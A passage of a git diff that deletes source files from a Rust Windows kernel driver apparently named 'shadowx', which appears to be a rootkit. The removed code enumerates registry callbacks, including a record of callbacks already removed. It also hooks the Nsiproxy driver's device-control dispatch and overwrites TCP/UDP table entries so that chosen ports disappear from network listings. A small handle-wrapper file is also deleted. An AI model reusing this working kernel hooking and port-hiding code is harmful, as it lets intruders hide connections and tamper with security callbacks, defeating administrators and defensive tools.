with_push_lock_exclusive(lock as *mut u64, || { - for i in 0..count as isize { - if pcm_callback.is_null() { - break; - } - - // Iterate over the loaded modules - for _ in 0..module_count { - let start_address = (*ldr_data).DllBase; - let image_size = (*ldr_data).SizeOfImage; - let end_address = start_address as u64 + image_size as u64; - let addr = (*pcm_callback).Function; - - if addr > start_address as u64 && addr < end_address { - let buffer = core::slice::from_raw_parts( - (*ldr_data).BaseDllName.Buffer, - ((*ldr_data).BaseDllName.Length / 2) as usize, - ); - - // Store the callback information - let mut name = [0u16; 256]; - let length = core::cmp::min(buffer.len(), 255); - name[..length].copy_from_slice(&buffer[..length]); - - callbacks.push(CallbackInfoOutput { - index: i as u8, - address: addr as usize, - name, - ..Default::default() - }); - - break; - } - - // Go to the next module in the list - ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; - } - - // Reset ldr_data for next callback - ldr_data = start_entry; - pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK; - } - - Ok(callbacks) - }) - } - - /// List of callbacks currently removed. - /// - /// # Arguments - /// - /// * `target_callback` - Pointer to the callback information input. - /// * `callback_info` - Pointer to the callback information output. - /// * `information` - Pointer to a variable to store information size. - /// - /// # Returns - /// - /// * Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise. - pub unsafe fn enumerate_removed() -> Result> { - let mut callbacks = Vec::new(); - let callbacks_removed = INFO_CALLBACK_RESTAURE_REGISTRY.lock(); - let (mut ldr_data, module_count) = modules()?; - let start_entry = ldr_data; - - for (i, callback) in callbacks_removed.iter().enumerate() { - for _ in 0..module_count { - let start_address = (*ldr_data).DllBase; - let image_size = (*ldr_data).SizeOfImage; - let end_address = start_address as u64 + image_size as u64; - - if callback.address > start_address as u64 && callback.address < end_address { - let buffer = core::slice::from_raw_parts( - (*ldr_data).BaseDllName.Buffer, - ((*ldr_data).BaseDllName.Length / 2) as usize, - ); - - // Store the callback information - let mut name = [0u16; 256]; - let length = core::cmp::min(buffer.len(), 255); - name[..length].copy_from_slice(&buffer[..length]); - - callbacks.push(CallbackInfoOutput { - index: callback.index as u8, - address: callback.address as usize, - name, - ..Default::default() - }); - - break; - } - - // Move to the next module - ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; - } - - // Reset the module list pointer for the next callback - ldr_data = start_entry; - } - - Ok(callbacks) - } -} diff --git a/shadowx/src/network.rs b/shadowx/src/network.rs deleted file mode 100644 index f527c19..0000000 --- a/shadowx/src/network.rs +++ /dev/null @@ -1,468 +0,0 @@ -use alloc::vec::Vec; -use core::{ - ffi::c_void, - mem::size_of, - ptr::{copy, null_mut}, - slice::from_raw_parts_mut, - sync::atomic::{AtomicBool, AtomicPtr, Ordering}, -}; - -use spin::{Mutex, lazy::Lazy}; -use wdk::println; -use wdk_sys::{ - _MODE::KernelMode, - ntddk::{ExFreePool, ObfDereferenceObject}, - *, -}; - -use common::{ - enums::{PortType, Protocol}, - structs::TargetPort, -}; -use crate::{ - Result, - data::*, - error::ShadowError, - utils::{ - pool::PoolMemory, - uni::str_to_unicode, - * - }, -}; - -// The maximum number of ports that can be hidden -const MAX_PORT: usize = 100; - -/// Holds the original NSI dispatch function, used to store the original pointer before hooking. -static mut ORIGINAL_NSI_DISPATCH: AtomicPtr<()> = AtomicPtr::new(null_mut()); - -/// Indicates whether the callback has been activated. -pub static HOOK_INSTALLED: AtomicBool = AtomicBool::new(false); - -/// List of protected ports, synchronized with a mutex. -/// -/// This static variable holds the list of protected network ports, using a `Mutex` to ensure -/// thread-safe access. It is initialized with a capacity of `MAX_PORT`. -pub static PROTECTED_PORTS: Lazy>> = - Lazy::new(|| Mutex::new(Vec::with_capacity(100))); - -/// Represents a Network structure used for hooking into the NSI proxy driver -/// and intercepting network information. -pub struct Network; - -impl Network { - /// Control code for the NSI communication. - const NIS_CONTROL_CODE: u32 = 1179675; - - /// Network driver name. - const NSI_PROXY: &str = "\\Driver\\Nsiproxy"; - - /// Installs a hook into the NSI proxy driver to intercept network table operations. - /// - /// # Returns - /// - /// * `Ok(NTSTATUS)` - If the hook is installed successfully. - /// * `Err(ShadowError)` - If the hook installation fails or no valid dispatch function is found. - pub unsafe fn install_hook() -> Result { - let mut driver_object: *mut DRIVER_OBJECT = null_mut(); - let status = ObReferenceObjectByName( - &mut str_to_unicode(Self::NSI_PROXY).to_unicode(), - OBJ_CASE_INSENSITIVE, - null_mut(), - 0, - *IoDriverObjectType, - KernelMode as i8, - null_mut(), - &mut driver_object as *mut _ as *mut *mut c_void, - ); - - // Check if the driver object was referenced successfully. - if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ObReferenceObjectByName", status)); - } - - // Try to replace the original IRP_MJ_DEVICE_CONTROL dispatch function. - let major_function = &mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize]; - if let Some(original_function) = major_function.take() { - // Store the original dispatch function. - let original_function_ptr = original_function as *mut (); - ORIGINAL_NSI_DISPATCH.store(original_function_ptr, Ordering::SeqCst); - - // Replace the dispatch function with the hook. - *major_function = Some(Self::hook_nsi); - HOOK_INSTALLED.store(true, Ordering::SeqCst); - } else { - ObfDereferenceObject(driver_object.cast()); - return Err(ShadowError::HookFailure); - } - - // Dereference the driver object after setting up the hook. - ObfDereferenceObject(driver_object.cast()); - Ok(STATUS_SUCCESS) - } - - /// Uninstalls the NSI hook, restoring the original dispatch function. - /// - /// # Returns - /// - /// * `Ok(NTSTATUS)` - If the hook was successfully uninstalled. - /// * `Err(ShadowError)` - If the hook was not installed or if the uninstall operation failed. - pub unsafe fn uninstall_hook() -> Result { - let mut driver_object: *mut DRIVER_OBJECT = null_mut(); - let status = ObReferenceObjectByName( - &mut str_to_unicode(Self::NSI_PROXY).to_unicode(), - OBJ_CASE_INSENSITIVE, - null_mut(), - 0, - *IoDriverObjectType, - KernelMode as i8, - null_mut(), - &mut driver_object as *mut _ as *mut *mut c_void, - ); - - // Handle error if the driver object can't be referenced. - if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ObReferenceObjectByName", status)); - } - - // If the hook is installed, restore the original dispatch function. - if HOOK_INSTALLED.load(Ordering::SeqCst) { - let major_function = - &mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize]; - - let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst); - if !original_function_ptr.is_null() { - let original_function = core::mem::transmute(original_function_ptr); - *major_function = original_function; - - HOOK_INSTALLED.store(false, Ordering::SeqCst); - } else { - ObfDereferenceObject(driver_object.cast()); - return Err(ShadowError::HookFailure); - } - } else { - ObfDereferenceObject(driver_object.cast()); - return Err(ShadowError::HookFailure); - } - - // Dereference the driver object after removing the hook. - ObfDereferenceObject(driver_object.cast()); - Ok(STATUS_SUCCESS) - } - - /// Hooked dispatch function that intercepts NSI proxy requests and modifies network table entries. - /// - /// This function intercepts network requests (IRPs) sent to the NSI proxy driver when the control - /// code matches `NIS_CONTROL_CODE`. It replaces the completion routine with a custom handler - /// to inspect and potentially modify network entries. - /// - /// # Arguments - /// - /// * `device_object` - Pointer to the device object associated with the request. - /// * `irp` - Pointer to the IRP (I/O Request Packet) being processed. - /// - /// # Returns - /// - /// * The result of the original dispatch function, or `STATUS_UNSUCCESSFUL` if the hook fails. - unsafe extern "C" fn hook_nsi(device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS { - let stack = (*irp) - .Tail - .Overlay - .__bindgen_anon_2 - .__bindgen_anon_1 - .CurrentStackLocation; - - // If the control code matches, we replace the completion routine with a custom one. - let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode; - if control_code == Self::NIS_CONTROL_CODE { - let context = PoolMemory::new( - POOL_FLAG_NON_PAGED, - size_of::<(PIO_COMPLETION_ROUTINE, *mut c_void)>() as u64, - "giud", - ); - - if let Some(addr) = context { - let address = addr.ptr as *mut (PIO_COMPLETION_ROUTINE, *mut c_void); - (*address).0 = (*stack).CompletionRoutine; - (*address).1 = (*stack).Context; - - (*stack).Context = address as *mut c_void; - (*stack).CompletionRoutine = Some(Self::irp_complete); - (*stack).Control |= SL_INVOKE_ON_SUCCESS as u8; - - // Prevent memory deallocation. - core::mem::forget(addr); - } - } - - // Call the original dispatch function. - let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst); - let original_function: PDRIVER_DISPATCH = core::mem::transmute(original_function_ptr); - - original_function.map_or(STATUS_UNSUCCESSFUL, |func| func(device_object, irp)) - } - - /// Completion routine that modifies network table entries after an NSI operation. - /// - /// This function is called when the IRP operation completes, and it processes the network - /// table entries (TCP/UDP) to inspect or modify them. It then calls the original completion - /// routine, passing the results of the modified entries back to the caller. - /// - /// # Arguments - /// - /// * `device_object` - Pointer to the device object associated with the IRP. - /// * `irp` - Pointer to the IRP being completed. - /// * `context` - Pointer to the context, containing the original completion routine and its arguments. - /// - /// # Returns - /// - /// * Returns the result of the original completion routine, or `STATUS_SUCCESS` if processing was successful. - unsafe extern "C" fn irp_complete( - device_object: *mut DEVICE_OBJECT, - irp: *mut IRP, - context: *mut c_void, - ) -> NTSTATUS { - let context_addr = context as *mut (PIO_COMPLETION_ROUTINE, *mut c_void); - - // Validate the status of the IRP. - if NT_SUCCESS((*irp).IoStatus.__bindgen_anon_1.Status) { - let nsi_param = (*irp).UserBuffer as *mut NSI_PARAM; - let mut status_success = true; - - // Ensure that the NSI parameter is valid and the context can be accessed. - if !valid_user_memory(nsi_param as u64) { - status_success = false; - } else if valid_kernel_memory(nsi_param as u64) || nsi_param.is_null() { - status_success = false; - } - - // If the entries are valid, process them. - if status_success && !(*nsi_param).Entries.is_null() && (*nsi_param).EntrySize != 0 { - let tcp_entries = (*nsi_param).Entries as *mut NSI_TABLE_TCP_ENTRY; - let udp_entries = (*nsi_param).Entries as *mut NSI_UDP_ENTRY; - - // Loop through all entries in the NSI parameter. - for i in 0..(*nsi_param).Count { - match (*nsi_param).Type_ { - COMUNICATION_TYPE::TCP => { - if valid_user_memory((*tcp_entries.add(i)).Local.Port as u64) - || valid_user_memory((*tcp_entries.add(i)).Remote.Port as u64) - { - // Convert the port numbers from big-endian to the host's native format. - let local_port = u16::from_be((*tcp_entries.add(i)).Local.Port); - let remote_port = u16::from_be((*tcp_entries.add(i)).Remote.Port); - - // Process the TCP entry by copying it into the NSI table, updating ports if necessary. - NetworkUtils::process_entry_copy( - tcp_entries, - (*nsi_param).Count, - i, - local_port, - Some(remote_port), - Protocol::TCP, - (*nsi_param).StatusEntries, - (*nsi_param).ProcessEntries, - nsi_param, - ); - } - } - COMUNICATION_TYPE::UDP => { - // Check if the UDP local port is a valid user-mode memory address. - if valid_user_memory((*udp_entries.add(i)).Port as u64) { - // Convert the local port number from big-endian to the host's native format. - let local_port = u16::from_be((*udp_entries.add(i)).Port); - - // Process the UDP entry by copying it into the NSI table, updating ports if necessary. - NetworkUtils::process_entry_copy( - udp_entries, - (*nsi_param).Count, - i, - local_port, - None, - Protocol::UDP, - (*nsi_param).StatusEntries, - (*nsi_param).ProcessEntries, - nsi_param, - ); - } - } - } - } - } - } - - // Call the original completion routine if one exists. - if let Some(original_routine) = (*context_addr).0 { - let mut original_context = null_mut(); - - if !(*context_addr).1.is_null() { - original_context = (*context_addr).1; - } - - ExFreePool(context.cast()); - return original_routine(device_object, irp, original_context); - } - - ExFreePool(context.cast()); - STATUS_SUCCESS - } -} - -/// Utility struct for network-related operations, such as validating memory and handling NSI table entries. -pub struct NetworkUtils; - -impl NetworkUtils { - /// Copies network table entries (TCP/UDP) from one index to another and updates associated status - /// and process entries if necessary. - /// - /// # Arguments - /// - /// * `entries` - A pointer to the list of TCP or UDP entries. The type is generic (`T`), and the pointer must be safely dereferenced. - /// * `count` - The total number of entries in the table. Defines the size of the `entries` buffer. - /// * `i` - The index of the current entry being processed. - /// * `local_port` - The local port number associated with the current entry. - /// * `remote_port` - An `Option` that may contain the remote port number associated with the current entry, or `None`. - /// * `protocol` - The protocol type (TCP or UDP) being processed for this entry. - /// * `status_entries` - A pointer to the list of status entries related to the network connections. - /// * `process_entries` - A pointer to the list of process entries related to the network connections. - /// * `nsi_param` - A pointer to the `NSI_PARAM` structure, which contains information about the network table. - unsafe fn process_entry_copy( - entries: *mut T, - count: usize, - i: usize, - local_port: u16, - remote_port: Option, - protocol: Protocol, - status_entries: *mut NSI_STATUS_ENTRY, - process_entries: *mut NSI_PROCESS_ENTRY, - nsi_param: *mut NSI_PARAM, - ) { - let port_number = match (local_port, remote_port) { - // Use remote port if local is zero. - (0, Some(remote)) if remote != 0 => remote, - - // Use local port if it's non-zero. - (local, _) if local != 0 => local, - _ => { - println!("Both doors are zero, there is no way to process the entrance."); - return; - } - }; - - let port_type = if remote_port.unwrap_or(0) != 0 { - PortType::REMOTE - } else { - PortType::LOCAL - }; - - let info = TargetPort { - protocol, - port_type, - port_number, - enable: true, - }; - - // If the port is protected, modify the network entries. - if PROTECTED_PORTS.lock().contains(&info) { - let mut entries_index = i + 1; - if entries_index >= count { - entries_index = i - 1; - } - - // Copies TCP/UDP entries. - let entries_slice = from_raw_parts_mut(entries, count); - copy( - &entries_slice[entries_index], - &mut entries_slice[i], - count - entries_index, - ); - - // Verify and copy status_entries. - if !status_entries.is_null() { - let status_entries_slice = from_raw_parts_mut(status_entries, count); - if entries_index < status_entries_slice.len() { - copy( - &status_entries_slice[entries_index], - &mut status_entries_slice[i], - count - entries_index, - ); - } - } - - // Check and copy process_entries. - if !process_entries.is_null() { - let process_entries_slice = from_raw_parts_mut(process_entries, count); - if entries_index < process_entries_slice.len() { - copy( - &process_entries_slice[entries_index], - &mut process_entries_slice[i], - count - entries_index, - ); - } - } - } - } -} - -/// Adds a port to the list of protected ports. -/// -/// # Arguments -/// -/// * `port` - A mutable pointer to a `TargetPort` structure, containing the port information to be added. -/// -/// # Return -/// -/// * Returns `STATUS_SUCCESS` if the port is successfully added to the list. -/// * Returns `STATUS_DUPLICATE_OBJECTID` if the port already exists in the list. -/// * Returns `STATUS_UNSUCCESSFUL` if the port list is full or the operation fails. -pub fn add_port(port: *mut TargetPort) -> NTSTATUS { - if port.is_null() { - return STATUS_UNSUCCESSFUL; - } - - let mut ports = PROTECTED_PORTS.lock(); - let port = unsafe { *port }; - - if ports.len() >= MAX_PORT { - return STATUS_UNSUCCESSFUL; - } - - if ports.contains(&port) { - return STATUS_DUPLICATE_OBJECTID; - } - - ports.push(port); - - STATUS_SUCCESS -} - -/// Removes a port from the list of protected ports. -/// -/// # Arguments -/// -/// * `port` - A mutable pointer to a `TargetPort` structure, containing the port information to be removed. -/// -/// # Return -/// -/// * Returns `STATUS_SUCCESS` if the port is successfully removed from the list -/// or `STATUS_UNSUCCESSFUL` if the port is not found in the list. -pub unsafe fn remove_port(port: *mut TargetPort) -> NTSTATUS { - if port.is_null() { - return STATUS_UNSUCCESSFUL; - } - - let mut ports = PROTECTED_PORTS.lock(); - (*port).enable = true; - - if let Some(index) = ports.iter().position(|&p| { - p.protocol == (*port).protocol - && p.port_type == (*port).port_type - && p.port_number == (*port).port_number - }) { - ports.remove(index); - STATUS_SUCCESS - } else { - println!("Port {:?} not found in the list", port); - STATUS_UNSUCCESSFUL - } -} diff --git a/shadowx/src/utils/handle.rs b/shadowx/src/utils/handle.rs deleted file mode 100644 index 6af3c1c..0000000 --- a/shadowx/src/utils/handle.rs +++ /dev/null @@ -1,52 +0,0 @@ -use wdk_sys::{HANDLE, ntddk::ZwClose}; - -/// A wrapper around a Windows `HANDLE` that automatically closes the handle when dropped. -/// -/// This struct provides a safe abstraction over raw Windows handles, ensuring that the -/// handle is properly closed when it goes out of scope, by calling `ZwClose` in its `Drop` -/// implementation. -pub struct Handle(HANDLE); - -impl Handle { - /// Creates a new `Handle` instance. - /// - /// # Arguments - /// - /// * `handle` - A raw Windows `HANDLE` to wrap. - /// - /// # Returns - /// - /// * Returns a new `Handle` instance that encapsulates the provided raw `HANDLE`. - #[inline] - pub fn new(handle: HANDLE) -> Self { - Handle(handle) - } - - /// Returns the raw `HANDLE`. - /// - /// This function provides access to the underlying Windows handle - /// stored in the `Handle` struct. - /// - /// # Returns - /// - /// * Returns the raw Windows `HANDLE` encapsulated in the `Handle` struct. - #[inline] - pub fn get(&self) -> HANDLE { - self.0 - } -} - -impl Drop for Handle { - /// Automatically closes the `HANDLE` when the `Handle` instance is dropped. - /// - /// When the `Handle` goes out of scope, this method is called to ensure that - /// the underlying Windows handle is closed using the `ZwClose` function, unless - /// the handle is null. - fn drop(&mut self) { - if !self.0.is_null() { - unsafe { - ZwClose(self.0); - } - } - } -}